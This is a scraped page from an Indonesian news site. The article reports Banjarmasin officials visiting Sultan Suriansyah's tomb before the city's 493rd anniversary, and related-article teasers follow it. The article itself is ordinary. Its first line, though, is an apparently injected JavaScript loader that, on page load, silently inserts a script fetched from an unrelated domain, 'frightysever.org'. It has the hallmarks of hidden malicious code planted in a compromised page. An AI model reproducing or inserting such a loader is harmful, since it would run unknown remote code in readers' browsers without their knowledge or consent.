(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Jelang hari jadi (Harjad) Kota Banjarmasin ke-493 yang jatuh pada 24 September mendatang, jajaran Pemko Banjarmasin beserta DPRD Kota Banjarmasin menziarahi makam Sultan Suriansyah, Kamis (19/9) pagi.
Ziarah sendiri, dilakukan setiap tahun menjelang hari jadi Kota Banjarmasin. Namun, tidak seperti tahun-tahun sebelumnya, tradisi ziarah tahun ini digelar lebih awal. Lantaran, pada 23 September mendatang Kota Banjarmasin menjadi tuan rumah City Sanitation Summit ke-19.
Di sela-sela ziarah, Walikota Banjarmasin H Ibnu Sina menyebut, makam Sultan Suriansyah merupakan situs sejarah peninggalan Kesultanan Banjar. Apalagi, Sultan Suriansyah merupakan sultan pertama dari Kesultanan Banjar, yang berkuasa dari tahun 1526 hingga tahun 1546.
“Makam ini merupakan situs sejarah yang harus kita rawat bersama-sama. Di sini juga dimakamkan Sultan pertama (Sultan Suriansyah), kedua (Sultan Rahmatullah) dan ketiga (Sultan Hidayatullah). Kemudian juga makam zuriat Kesultanan Banjar,” kata Ibnu kepada Kanalkalimantan.com usai tabur bunga di makam Sultan Suriansyah beserta zuriatnya.
Ibnu juga mengapresiasi para ahli waris Sultan Suriansyah, yang telah merawat makam Sultan Suriansyah. Ini menjadikan kota Banjarmasin sebagai salah satu kota pusaka di Indonesia. “Karena ini menjadi identitas kota Banjarmasin sebagai kota pusaka. Karena Banjarmasin telah tergabung dalam JKPI, yakni Jejaring Kota Pusaka Indonesia,” papar Ibnu.
Selain itu, Ibu juga menegaskan komitmen Pemko Banjarmasin dalam melestarikan situs-situs sejarah yang terdapat di Kota Seribu Sungai ini. “Karena di usia yang ke 493 ini, banyak sekali peninggalan-peninggalan sejarah di kota ini, termasuk juga sejarah Kesultanan Banjar yang harus kita gali, kita rawat dan kita jaga serta kita dokumentasikan dengan baik,” papar Ibnu. “Mudah-mudahan tetap abadi dan dikenang anak cucu kita, termasuk sejarah kota Banjarmasin,” tutup Ibnu.
Di kompleks makam Sultan Suriansyah sendiri, selain tiga sultan Kesultanan Banjar, juga terdapat makam Ratu Intan Sari (ibu kandung Sultan Suriansyah), Khatib Dayan (ulama dari Demak), Patih Kuin (kepala kampung Kuin), Patih Masih (kepala kampung Bandarmasih), Senopati Antakusuma (cucu Sultan Suriansyah) dan lain-lain. (fikri)
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
This website uses cookies.